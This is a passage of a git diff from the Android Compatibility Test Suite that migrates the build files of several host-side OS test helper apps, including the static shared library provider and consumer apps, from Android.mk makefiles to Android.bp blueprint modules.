-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/os/app/Android.bp b/hostsidetests/os/app/Android.bp
new file mode 100644
index 0000000..384ab55
--- /dev/null
+++ b/hostsidetests/os/app/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDeviceOsTestApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/hostsidetests/os/app/Android.mk b/hostsidetests/os/app/Android.mk
deleted file mode 100644
index 31e2812..0000000
--- a/hostsidetests/os/app/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsDeviceOsTestApp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/Android.mk b/hostsidetests/os/test-apps/Android.mk
deleted file mode 100644
index 0767e4b..0000000
--- a/hostsidetests/os/test-apps/Android.mk
+++ /dev/null
@@ -1,23 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
new file mode 100644
index 0000000..fb22fad
--- /dev/null
+++ b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsHostLinkVerificationApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
deleted file mode 100644
index 99c2e1d..0000000
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
+++ /dev/null
@@ -1,29 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsHostLinkVerificationApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp b/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp
new file mode 100644
index 0000000..df61619
--- /dev/null
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsHostProcfsTestApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
deleted file mode 100644
index e42804f..0000000
--- a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostProcfsTestApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp
new file mode 100644
index 0000000..1e78ba5
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibConsumerApp1",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    libs: ["CtsStaticSharedLibProviderApp1"],
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
deleted file mode 100644
index 85aade7..0000000
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt
-
-LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp1
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp1
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp
new file mode 100644
index 0000000..b4537c4
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibConsumerApp2",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: ["androidx.test.rules"],
+    libs: ["CtsStaticSharedLibProviderApp4"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
deleted file mode 100644
index 9e35c0e..0000000
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp4
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp2
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp
new file mode 100644
index 0000000..4d4f7c9
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibConsumerApp3",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: ["androidx.test.rules"],
+    libs: ["CtsStaticSharedLibProviderApp7"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
deleted file mode 100644
index 91ae872..0000000
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp7
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp3
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp
new file mode 100644
index 0000000..1a9c933
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp
@@ -0,0 +1,35 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibProviderApp1",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    certificate: ":cts-keyset-test-b",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    aaptflags: ["--shared-lib"],
+    libs: ["CtsStaticSharedLibProviderRecursive"],
+    export_package_resources: true,
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
deleted file mode 100644
index 85ee025..0000000
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp1
-LOCAL_SDK_VERSION := current
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_AAPT_FLAGS := --shared-lib
-
-LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderRecursive
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp
new file mode 100644
index 0000000..0904361
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibProviderApp2",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-keyset-test-b",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    aaptflags: ["--shared-lib"],
+    export_package_resources: true,
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
deleted file mode 100644
index 97606eb..0000000
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp2
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_AAPT_FLAGS := --shared-lib
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp
new file mode 100644
index 0000000..c866c6f
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibProviderApp3",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-keyset-test-b",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    aaptflags: ["--shared-lib"],
+    export_package_resources: true,
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
deleted file mode 100644
index add7087..0000000
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp3
-LOCAL_SDK_VERSION := current
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_AAPT_FLAGS := --shared-lib
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp
new file mode 100644
index 0000000..8989e22
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibProviderApp4",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    certificate: ":cts-keyset-test-a",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    aaptflags: ["--shared-lib"],
+    export_package_resources: true,
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
deleted file mode 100644
index 9bba678..0000000
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp4
-LOCAL_SDK_VERSION := current
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_AAPT_FLAGS := --shared-lib
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp
new file mode 100644
index 0000000..d77f030
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibProviderApp5",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-keyset-test-b",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    aaptflags: ["--shared-lib"],
+    export_package_resources: true,
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
deleted file mode 100644
index 84fc7b6..0000000
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp5
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_AAPT_FLAGS := --shared-lib
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp
new file mode 100644
index 0000000..9048774
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibProviderApp6",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-keyset-test-b",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    aaptflags: ["--shared-lib"],
+    export_package_resources: true,
+}
